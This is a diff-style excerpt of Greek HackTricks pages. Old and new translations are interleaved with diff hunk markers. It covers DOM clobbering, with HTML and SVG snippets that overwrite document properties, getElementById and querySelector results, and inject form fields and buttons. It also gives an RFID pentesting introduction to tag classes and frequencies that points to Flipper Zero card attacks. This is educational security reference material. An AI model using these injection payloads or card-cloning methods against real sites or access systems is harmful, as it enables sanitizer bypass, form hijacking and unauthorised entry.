Μια άλλη τεχνική χρησιμοποιεί ένα στοιχείο **`form`**. Ορισμένες βιβλιοθήκες πελάτη επιθεωρούν τα γνωρίσματα ενός νεοδημιουργημένου στοιχείου φόρμας για να τα καθαρίσουν. Ωστόσο, προσθέτοντας ένα `input` με `id=attributes` μέσα στη φόρμα, αντικαθιστάτε αποτελεσματικά την ιδιότητα γνωρισμάτων, εμποδίζοντας τον απολυμαντή να έχει πρόσβαση στα πραγματικά γνωρίσματα.
Μια άλλη τεχνική χρησιμοποιεί ένα **`form`** στοιχείο. Ορισμένες βιβλιοθήκες πελάτη ελέγχουν τα χαρακτηριστικά ενός νεοδημιουργημένου στοιχείου φόρμας για να τα καθαρίσουν. Ωστόσο, προσθέτοντας ένα `input` με `id=attributes` μέσα στη φόρμα, ουσιαστικά αντικαθιστάτε την ιδιότητα attributes, αποτρέποντας τον καθαριστή από το να έχει πρόσβαση στα πραγματικά χαρακτηριστικά.
Μπορείτε να [**βρείτε ένα παράδειγμα αυτού του είδους του clobbering σε αυτό το CTF writeup**](iframes-in-xss-and-csp.md#iframes-in-sop-2).
Μπορείτε να [**βρείτε ένα παράδειγμα αυτού του τύπου clobbering σε αυτή τη CTF αναφορά**](iframes-in-xss-and-csp.md#iframes-in-sop-2).
## Clobbering αντικειμένου document
## Clobbering αντικειμένου εγγράφου
Σύμφωνα με την τεκμηρίωση, είναι δυνατό να αντικαταστήσετε γνωρίσματα του αντικειμένου document χρησιμοποιώντας το DOM Clobbering:
Σύμφωνα με την τεκμηρίωση, είναι δυνατόν να αντικαταστήσετε τα χαρακτηριστικά του αντικειμένου εγγράφου χρησιμοποιώντας DOM Clobbering:
> Η διεπαφή [Document](https://html.spec.whatwg.org/multipage/dom.html#document) [υποστηρίζει ονομασμένες ιδιότητες](https://webidl.spec.whatwg.org/#dfn-support-named-properties). Οι [υποστηριζόμενες ονομασμένες ιδιότητες](https://webidl.spec.whatwg.org/#dfn-supported-property-names) ενός αντικειμένου [Document](https://html.spec.whatwg.org/multipage/dom.html#document) σε οποιαδήποτε στιγμή αποτελούνται από τα εξής, με σειρά δέντρου σύμφωνα με το στοιχείο που τα συνέβαλε, αγνοώντας τυχόν αργότερα διπλότυπα και με τιμές από τα γνωρίσματα [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) να έρχονται πριν από τις τιμές από τα γνωρίσματα name όταν το ίδιο στοιχείο συνεισφέρει και τα δύο:
> Η [Δομή](https://html.spec.whatwg.org/multipage/dom.html#document) υποστηρίζει [ονόματα χαρακτηριστικών](https://webidl.spec.whatwg.org/#dfn-support-named-properties). Τα [υποστηριζόμενα ονόματα χαρακτηριστικών](https://webidl.spec.whatwg.org/#dfn-supported-property-names) ενός [αντικειμένου Δομής](https://html.spec.whatwg.org/multipage/dom.html#document) σε οποιαδήποτε στιγμή αποτελούνται από τα εξής, σε [τάξη δέντρου](https://dom.spec.whatwg.org/#concept-tree-order) σύμφωνα με το στοιχείο που τα συνέβαλε, αγνοώντας αργότερα διπλότυπα, και με τιμές από [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) χαρακτηριστικά να έρχονται πριν από τις τιμές από χαρακτηριστικά name όταν το ίδιο στοιχείο συμβάλλει και στα δύο:
>
> \- Η τιμή του γνωρίσματος περιεχομένου name για όλα τα [εκτεθειμένα](https://html.spec.whatwg.org/multipage/dom.html#exposed) στοιχεία [embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element), [form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element), [iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element), [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) και [εκτεθειμένα](https://html.spec.whatwg.org/multipage/dom.html#exposed) στοιχεία [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) που έχουν ένα μη κενό γνώρισμα περιεχομένου name και είναι [σε ένα δέντρο εγγράφου](https://dom.spec.whatwg.org/#in-a-document-tree) με το έγγραφο ως [ρίζα](https://dom.spec.whatwg.org/#concept-tree-root);\
> \- Η τιμή του χαρακτηριστικού περιεχομένου name για όλα τα [εκτεθειμένα](https://html.spec.whatwg.org/multipage/dom.html#exposed) [embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element), [form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element), [iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element), [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element), και [εκτεθειμένα](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) στοιχεία που έχουν ένα μη κενό χαρακτηριστικό περιεχομένου name και είναι [σε ένα δέντρο εγγράφου](https://dom.spec.whatwg.org/#in-a-document-tree) με το έγγραφο ως [ρίζα](https://dom.spec.whatwg.org/#concept-tree-root);\
> \
> \- Η τιμή του γνωρίσματος περιεχομένου [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) για όλα τα [εκτεθειμένα](https://html.spec.whatwg.org/multipage/dom.html#exposed) στοιχεία [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) που έχουν ένα μη κενό γνώρισμα περιεχομένου [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) και είναι [σε ένα δέντρο εγγράφου](https://dom.spec.whatwg.org/#in-a-document-tree) με το έγγραφο ως [ρίζα](https://dom.spec.whatwg.org/#concept-tree-root);\
> \- Η τιμή του χαρακτηριστικού περιεχομένου [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) για όλα τα [εκτεθειμένα](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) στοιχεία που έχουν ένα μη κενό χαρακτηριστικό περιεχομένου [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) και είναι [σε ένα δέντρο εγγράφου](https://dom.spec.whatwg.org/#in-a-document-tree) με το έγγραφο ως [ρίζα](https://dom.spec.whatwg.org/#concept-tree-root);\
> \
> \- Η τιμή του γνωρίσματος περιεχομένου [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) για όλα τα στοιχεία [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) που έχουν τόσο ένα μη κενό γνώρισμα περιεχομένου [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) όσο και ένα μη κενό γνώρισμα περιεχομένου name και είναι [σε ένα δέντρο εγγράφου](https://dom.spec.whatwg.org/#in-a-document-tree) με το έγγραφο ως [ρίζα](https://dom.spec.whatwg.org/#concept-tree-root).
> \- Η τιμή του χαρακτηριστικού περιεχομένου [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) για όλα τα [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) στοιχεία που έχουν τόσο ένα μη κενό χαρακτηριστικό περιεχομένου [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) όσο και ένα μη κενό χαρακτηριστικό περιεχομένου name, και είναι [σε ένα δέντρο εγγράφου](https://dom.spec.whatwg.org/#in-a-document-tree) με το έγγραφο ως [ρίζα](https://dom.spec.whatwg.org/#concept-tree-root).
Χρησιμοποιώντας αυτήν την τεχνική, μπορείτε να αντικαταστήσετε συχνά χρησιμοποιούμενες **τιμές όπως `document.cookie`, `document.body`, `document.children`**, και ακόμα και μεθόδους στη διεπαφή Document όπως `document.querySelector`.
Χρησιμοποιώντας αυτή την τεχνική μπορείτε να αντικαταστήσετε κοινώς χρησιμοποιούμενες **τιμές όπως `document.cookie`, `document.body`, `document.children`**, και ακόμη και μεθόδους στη διεπαφή Document όπως `document.querySelector`.
```javascript
document.write("<img name=cookie />")
@ -138,9 +141,9 @@ HTMLCollection(2) [img, form, cookie: img]
typeof(document.cookie)
'object
```
## Γράψιμο μετά την αντικατάσταση του στοιχείου
## Writing after the element clobbered
Τα αποτελέσματα των κλήσεων στις **`document.getElementById()`** και **`document.querySelector()`** μπορούν να τροποποιηθούν εισάγοντας ένα ετικέτα `<html>` ή `<body>` με ένα ίδιο χαρακτηριστικό id. Ακολουθεί ο τρόπος με τον οποίο μπορεί να γίνει αυτό:
Τα αποτελέσματα των κλήσεων σε **`document.getElementById()`** και **`document.querySelector()`** μπορούν να τροποποιηθούν με την εισαγωγή ενός `<html>` ή `<body>` tag με ταυτόσημο id attribute. Να πώς μπορεί να γίνει:
```html
<div style="display:none" id="cdnDomain" class="x">test</div>
<p>
@ -150,7 +153,7 @@ alert(document.getElementById('cdnDomain').innerText); // Clobbered
alert(document.querySelector('.x').innerText); // Clobbered
</script>
```
Επιπλέον, με τη χρήση στυλ για να κρύψετε αυτές τις εισαγμένες ετικέτες HTML/body, μπορεί να αποτραπεί η παρεμβολή από άλλο κείμενο στο `innerText`, βελτιώνοντας έτσι την αποτελεσματικότητα της επίθεσης:
Επιπλέον, με την εφαρμογή στυλ για την απόκρυψη αυτών των εισαγόμενων HTML/body ετικετών, μπορεί να αποτραπεί η παρεμβολή από άλλο κείμενο στο `innerText`, ενισχύοντας έτσι την αποτελεσματικότητα της επίθεσης:
```html
<div style="display:none" id="cdnDomain">test</div>
<p>existing text</p>
@ -162,7 +165,7 @@ p{display:none;}
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>
```
Οι έρευνες για το SVG αποκάλυψαν ότι μια ετικέτα `<body>` μπορεί επίσης να χρησιμοποιηθεί αποτελεσματικά:
Οι έρευνες σχετικά με το SVG αποκάλυψαν ότι μια ετικέτα `<body>` μπορεί επίσης να χρησιμοποιηθεί αποτελεσματικά:
```html
<div style="display:none" id="cdnDomain">example.com</div>
<svg><body id="cdnDomain">clobbered</body></svg>
@ -170,7 +173,7 @@ alert(document.getElementById('cdnDomain').innerText); // Clobbered
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>
```
Για να λειτουργήσει η ετικέτα HTML μέσα σε SVG σε προγράμματα περιήγησης όπως το Chrome και το Firefox, απαιτείται η χρήση της ετικέτας `<foreignobject>`:
Για να λειτουργήσει η ετικέτα HTML μέσα σε SVG σε προγράμματα περιήγησης όπως το Chrome και το Firefox, είναι απαραίτητη μια ετικέτα `<foreignobject>`:
```html
<div style="display:none" id="cdnDomain">example.com</div>
<svg>
@ -182,9 +185,9 @@ alert(document.getElementById('cdnDomain').innerText); // Clobbered
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>
```
## Καταστροφή Φορμών
## Clobbering Forms
Είναι δυνατόν να προστεθούν **νέες καταχωρήσεις μέσα σε μια φόρμα** απλά **καθορίζοντας το χαρακτηριστικό `form`** μέσα σε ορισμένες ετικέτες. Μπορείτε να χρησιμοποιήσετε αυτό για να **προσθέσετε νέες τιμές μέσα σε μια φόρμα** και ακόμα να προσθέσετε ένα νέο **κουμπί** για να την **αποστείλετε** (clickjacking ή κατάχρηση κάποιου κώδικα JS `.click()`):
Είναι δυνατόν να προσθέσετε **νέες καταχωρίσεις μέσα σε μια φόρμα** απλά καθορίζοντας το **attribute `form`** μέσα σε ορισμένα tags. Μπορείτε να το χρησιμοποιήσετε για να **προσθέσετε νέες τιμές μέσα σε μια φόρμα** και ακόμη και να προσθέσετε ένα νέο **κουμπί** για να **το στείλετε** (clickjacking ή εκμετάλλευση κάποιου κώδικα JS `.click()`):
{% code overflow="wrap" %}
```html
@ -198,22 +201,25 @@ Click to send!
```
{% endcode %}
* Για περισσότερα χαρακτηριστικά φόρμας στο [**button check this**](https://www.w3schools.com/tags/tag\_button.asp)**.**
* Για περισσότερα χαρακτηριστικά φόρμας στον [**κουμπί ελέγξτε αυτό**](https://www.w3schools.com/tags/tag\_button.asp)**.**
## Αναφορές
* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
* [https://portswigger.net/web-security/dom-based/dom-clobbering](https://portswigger.net/web-security/dom-based/dom-clobbering)
* Heyes, Gareth. JavaScript για χάκερς: Μάθετε να σκέφτεστε σαν έναν χάκερ.
* Heyes, Gareth. JavaScript για χάκερ: Μάθε να σκέφτεσαι σαν χάκερ.
{% hint style="success" %}
Μάθε & εξάσκησε το AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθε & εξάσκησε το GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε στην** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα κόλπα σας στο hacking υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Έλεγξε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Συμμετοχή στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολούθησέ** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιράσου κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,49 +1,125 @@
# Ελέγχος ασφάλειας RFID
# Pentesting RFID
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΠΛΑΝΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε** στην [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Εισαγωγή
Η **Radio Frequency Identification (RFID)** είναι η πιο δημοφιλής λύση ραδιοφωνικής επικοινωνίας σε μικρή απόσταση. Συνήθως χρησιμοποιείται για την αποθήκευση και μετάδοση πληροφοριών που αναγνωρίζουν μια οντότητα.
**Η Αναγνώριση Ραδιοσυχνότητας (RFID)** είναι η πιο δημοφιλής λύση ραδιοσυχνότητας μικρής εμβέλειας. Χρησιμοποιείται συνήθως για την αποθήκευση και μετάδοση πληροφοριών που προσδιορίζουν μια οντότητα.
Ένα RFID ετικέτα μπορεί να βασίζεται στη **δική της πηγή ενέργειας (ενεργή)**, όπως μια ενσωματωμένη μπαταρία, ή να λαμβάνει την ενέργειά της από την αναγνωστική κεραία χρησιμοποιώντας το ρεύμα που προκαλείται από τα ληφθέντα ραδιοκύματα (**παθητική**).
Ένας ετικέτα RFID μπορεί να βασίζεται σε **δική της πηγή ενέργειας (ενεργή)**, όπως μια ενσωματωμένη μπαταρία, ή να λαμβάνει την ενέργειά της από την κεραία ανάγνωσης χρησιμοποιώντας το ρεύμα **που προκαλείται από τα ληφθέντα ραδιοκύματα** (**παθητική**).
### Κατηγορίες
Η EPCglobal διαιρεί τις ετικέτες RFID σε έξι κατηγορίες. Μια ετικέτα σε κάθε κατηγορία έχει όλες τις δυνατότητες που αναφέρονται στην προηγούμενη κατηγορία, καθιστώντας την συμβατή προς τα πίσω.
Η EPCglobal χωρίζει τις ετικέτες RFID σε έξι κατηγορίες. Μια ετικέτα σε κάθε κατηγορία έχει όλες τις δυνατότητες που αναφέρονται στην προηγούμενη κατηγορία, καθιστώντας την συμβατή προς τα πίσω.
* Οι ετικέτες **κατηγορίας 0** είναι **παθητικές** ετικέτες που λειτουργούν σε **ζώνες UHF**. Ο προμηθευτής τις **προγραμματίζει προκαταβολικά** στο εργοστάσιο παραγωγής. Ως αποτέλεσμα, δεν μπορείτε να αλλάξετε τις πληροφορίες που αποθηκεύονται στη μνήμη τους.
* Οι ετικέτες **κατηγορίας 1** μπορούν επίσης να λειτουργήσουν σε **ζώνες HF**. Επιπλέον, μπορούν να γραφούν μόνο μία φορά μετά την παραγωγή. Πολλές ετικέτες κατηγορίας 1 μπορούν επίσης να επεξεργαστούν **κυκλικούς αναγνωριστικούς ελέγχους** (CRCs) των εντολών που λαμβάνουν. Οι CRC είναι μερικά επιπλέον bytes στο τέλος των εντολών για την ανίχνευση σφαλμάτων.
* Οι ετικέτες **κατηγορίας 2** μπορούν να γραφούν πολλές φορές.
* Οι ετικέτες **κατηγορίας 3** μπορούν να περιέχουν **ενσωματωμένους αισθητήρες** που μπορούν να καταγράψουν περιβαλλοντικές παραμέτρους, όπως η τρέχουσα θερμοκρασία ή η κίνηση της ετικέτας. Αυτές οι ετικέτες είναι **ημι-παθητικές**, επειδή παρόλο που έχουν μια ενσωματωμένη πηγή ενέργειας, όπως μια ενσωματωμένη **μπαταρία**, δεν μπορούν να πρωτοπορήσουν στην ασύρματη επικοινωνία με άλλες ετικέτες ή αναγνώστες.
* Οι ετικέτες **κατηγορίας 4** μπορούν να πρωτοπορήσουν στην επικοινωνία
## Ετικέτες RFID υψηλής συχνότητας (13,56 MHz)
* Οι ετικέτες **Class 0** είναι **παθητικές** ετικέτες που λειτουργούν σε **UHF** ζώνες. Ο προμηθευτής **τις προγραμματίζει εκ των προτέρων** στο εργοστάσιο παραγωγής. Ως αποτέλεσμα, **δεν μπορείτε να αλλάξετε** τις πληροφορίες που αποθηκεύονται στη μνήμη τους.
* Οι ετικέτες **Class 1** μπορούν επίσης να λειτουργούν σε **HF** ζώνες. Επιπλέον, μπορούν να **γραφούν μόνο μία φορά** μετά την παραγωγή. Πολλές ετικέτες Class 1 μπορούν επίσης να επεξεργαστούν **ελέγχους κυκλικής πλεονασματικότητας** (CRCs) των εντολών που λαμβάνουν. Οι CRCs είναι μερικά επιπλέον byte στο τέλος των εντολών για την ανίχνευση σφαλμάτων.
* Οι ετικέτες **Class 2** μπορούν να **γραφούν πολλές φορές**.
* Οι ετικέτες **Class 3** μπορούν να περιέχουν **ενσωματωμένους αισθητήρες** που μπορούν να καταγράφουν περιβαλλοντικές παραμέτρους, όπως η τρέχουσα θερμοκρασία ή η κίνηση της ετικέτας. Αυτές οι ετικέτες είναι **ημι-παθητικές**, επειδή αν και **έχουν** μια ενσωματωμένη πηγή ενέργειας, όπως μια ενσωματωμένη **μπαταρία**, **δεν μπορούν να ξεκινήσουν** ασύρματη **επικοινωνία** με άλλες ετικέτες ή αναγνώστες.
* Οι ετικέτες **Class 4** μπορούν να ξεκινήσουν επικοινωνία με άλλες ετικέτες της ίδιας κατηγορίας, καθιστώντας τις **ενεργές ετικέτες**.
* Οι ετικέτες **Class 5** μπορούν να παρέχουν **ενέργεια σε άλλες ετικέτες και να επικοινωνούν με όλες τις προηγούμενες κατηγορίες ετικετών**. Οι ετικέτες Class 5 μπορούν να λειτουργούν ως **αναγνώστες RFID**.
Οι **ετικέτες υψηλής συχνότητας** χρησιμοποιούνται για μια πιο πολύπλοκη αλληλεπίδραση ανάμεσα σε αναγνώστη και ετικέτα όταν χρειάζεστε κρυπτογραφία, μεταφορά μεγάλου όγκου δεδομένων, πιστοποίηση κ.λπ.\
Συνήθως χρησιμοποιούνται σε κάρτες τραπεζών, δημόσια μέσα μεταφοράς και άλλες ασφαλείς διαβάσεις.
### Πληροφορίες που αποθηκεύονται σε ετικέτες RFID
Οι ετικέτες υψηλής συχνότητας 13,56 MHz είναι ένα σύνολο προτύπων και πρωτοκόλλων. Συνήθως αναφέρονται ως [NFC](https://nfc-forum.org/what-is-nfc/about-the-technology/), αλλά αυτό δεν είναι πάντα σωστό. Το βασικό σύνολο πρωτοκόλλων που χρησιμοποιείται στα φυσικά και λογικά επίπεδα είναι το ISO 14443. Τα πρωτόκολλα υψηλού επιπέδου, καθώς και εναλλακτικά πρότυπα (όπως το ISO 19092), βασίζονται σε αυτό. Πολλοί αναφέρονται σε αυτήν την τεχνολογία ως **Επικοινωνία Κοντινού Πεδίου (NFC)**, ένας όρος για συσκευές που λειτουργούν στη συχνότητα 13,56 MHz.
Η μνήμη μιας ετικέτας RFID αποθηκεύει συνήθως τέσσερις τύπους δεδομένων: τα **δεδομένα ταυτοποίησης**, που **προσδιορίζουν** την **οντότητα** στην οποία είναι συνδεδεμένη η ετικέτα (αυτά τα δεδομένα περιλαμβάνουν πεδία που ορίζονται από τον χρήστη, όπως οι τραπεζικοί λογαριασμοί); τα **συμπληρωματικά δεδομένα**, που παρέχουν **περαιτέρω** **λεπτομέρειες** σχετικά με την οντότητα; τα **δεδομένα ελέγχου**, που χρησιμοποιούνται για την εσωτερική **διαμόρφωση** της ετικέτας; και τα **δεδομένα κατασκευαστή** της ετικέτας, που περιέχουν τον Μοναδικό Αναγνωριστή της ετικέτας (**UID**) και λεπτομέρειες σχετικά με την **παραγωγή**, **τύπο** και **προμηθευτή** της ετικέτας. Θα βρείτε τους πρώτους δύο τύπους δεδομένων σε όλες τις εμπορικές ετικέτες; οι τελευταίοι δύο μπορεί να διαφέρουν ανάλογα με τον προμηθευτή της ετικέτας.
Το πρότυπο ISO καθορίζει την τιμή του Αναγνωριστικού Οικογένειας Εφαρμογών (**AFI**), έναν κωδικό που υποδεικνύει τον **τύπο αντικειμένου** στο οποίο ανήκει η ετικέτα. Ένα άλλο σημαντικό μητρώο, που επίσης καθορίζεται από το ISO, είναι το Αναγνωριστικό Μορφής Αποθήκευσης Δεδομένων (**DSFID**), το οποίο καθορίζει την **λογική οργάνωση των δεδομένων χρήστη**.
Οι περισσότερες **ασφαλιστικές ρυθμίσεις** RFID έχουν μηχανισμούς που **περιορίζουν** τις **λειτουργίες ανάγνωσης** ή **γραφής** σε κάθε μπλοκ μνήμης χρήστη και στους ειδικούς καταλόγους που περιέχουν τις τιμές AFI και DSFID. Αυτοί οι **μηχανισμοί κλειδώματος** χρησιμοποιούν δεδομένα που αποθηκεύονται στη μνήμη ελέγχου και έχουν **προεπιλεγμένους κωδικούς πρόσβασης** που έχουν ρυθμιστεί εκ των προτέρων από τον προμηθευτή, αλλά επιτρέπουν στους κατόχους της ετικέτας να **ρυθμίσουν προσαρμοσμένους κωδικούς πρόσβασης**.
### Σύγκριση ετικετών χαμηλής και υψηλής συχνότητας
<figure><img src="../.gitbook/assets/image (27).png" alt=""><figcaption></figcaption></figure>
## Ετικέτες RFID Χαμηλής Συχνότητας (125kHz)
Οι **ετικέτες χαμηλής συχνότητας** χρησιμοποιούνται συχνά σε συστήματα που **δεν απαιτούν υψηλή ασφάλεια**: πρόσβαση σε κτίρια, κλειδιά διασύνδεσης, κάρτες μέλους γυμναστηρίου, κ.λπ. Λόγω της μεγαλύτερης εμβέλειάς τους, είναι βολικές για χρήση σε πληρωμένα πάρκινγκ: ο οδηγός δεν χρειάζεται να φέρει την κάρτα κοντά στον αναγνώστη, καθώς ενεργοποιείται από μεγαλύτερη απόσταση. Ταυτόχρονα, οι ετικέτες χαμηλής συχνότητας είναι πολύ πρωτόγονες, έχουν χαμηλό ρυθμό μεταφοράς δεδομένων. Για αυτόν τον λόγο, είναι αδύνατο να υλοποιηθεί πολύπλοκη αμφίδρομη μεταφορά δεδομένων για πράγματα όπως η διατήρηση υπολοίπου και η κρυπτογραφία. Οι ετικέτες χαμηλής συχνότητας μεταδίδουν μόνο το σύντομο ID τους χωρίς κανένα μέσο αυθεντικοποίησης.
Αυτές οι συσκευές βασίζονται στην **παθητική** **τεχνολογία RFID** και λειτουργούν σε **εύρος 30 kHz έως 300 kHz**, αν και είναι πιο συνηθισμένο να χρησιμοποιούνται 125 kHz έως 134 kHz:
* **Μεγάλη εμβέλεια** — η χαμηλότερη συχνότητα μεταφράζεται σε μεγαλύτερη εμβέλεια. Υπάρχουν μερικοί αναγνώστες EM-Marin και HID, οι οποίοι λειτουργούν από απόσταση έως και ενός μέτρου. Αυτοί χρησιμοποιούνται συχνά σε πάρκινγκ αυτοκινήτων.
* **Πρωτόγονο πρωτόκολλο** — λόγω του χαμηλού ρυθμού μεταφοράς δεδομένων, αυτές οι ετικέτες μπορούν να μεταδώσουν μόνο το σύντομο ID τους. Στις περισσότερες περιπτώσεις, τα δεδομένα δεν είναι αυθεντικοποιημένα και δεν προστατεύονται με κανέναν τρόπο. Μόλις η κάρτα είναι εντός της εμβέλειας του αναγνώστη, αρχίζει απλώς να μεταδίδει το ID της.
* **Χαμηλή ασφάλεια** — Αυτές οι κάρτες μπορούν να αντιγραφούν εύκολα ή ακόμη και να διαβαστούν από την τσέπη κάποιου άλλου λόγω της πρωτόγονης φύσης του πρωτοκόλλου.
**Δημοφιλή πρωτόκολλα 125 kHz:**
* **EM-Marin** — EM4100, EM4102. Το πιο δημοφιλές πρωτόκολλο στην ΚΑΚ. Μπορεί να διαβαστεί από περίπου ένα μέτρο λόγω της απλότητας και της σταθερότητάς του.
* **HID Prox II** — πρωτόκολλο χαμηλής συχνότητας που εισήχθη από την HID Global. Αυτό το πρωτόκολλο είναι πιο δημοφιλές στις δυτικές χώρες. Είναι πιο περίπλοκο και οι κάρτες και οι αναγνώστες για αυτό το πρωτόκολλο είναι σχετικά ακριβοί.
* **Indala** — πολύ παλιό πρωτόκολλο χαμηλής συχνότητας που εισήχθη από την Motorola και αργότερα αποκτήθηκε από την HID. Είναι λιγότερο πιθανό να το συναντήσετε στην πραγματικότητα σε σύγκριση με τα προηγούμενα δύο, καθώς βγαίνει από τη χρήση.
Στην πραγματικότητα, υπάρχουν πολύ περισσότερα πρωτόκολλα χαμηλής συχνότητας. Αλλά όλα χρησιμοποιούν την ίδια διαμόρφωση στο φυσικό επίπεδο και μπορούν να θεωρηθούν, με έναν ή άλλο τρόπο, παραλλαγές αυτών που αναφέρονται παραπάνω.
### Επίθεση
Μπορείτε να **επιτεθείτε σε αυτές τις ετικέτες με το Flipper Zero**:
{% content-ref url="../todo/radio-hacking/flipper-zero/fz-125khz-rfid.md" %}
[fz-125khz-rfid.md](../todo/radio-hacking/flipper-zero/fz-125khz-rfid.md)
{% endcontent-ref %}
## Ετικέτες RFID Υψηλής Συχνότητας (13.56 MHz)
